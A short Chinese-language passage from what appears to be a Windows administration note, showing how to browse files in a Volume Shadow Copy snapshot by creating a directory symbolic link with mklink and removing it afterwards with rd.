\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12
中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
删除符号链接:
rd c:\testvsc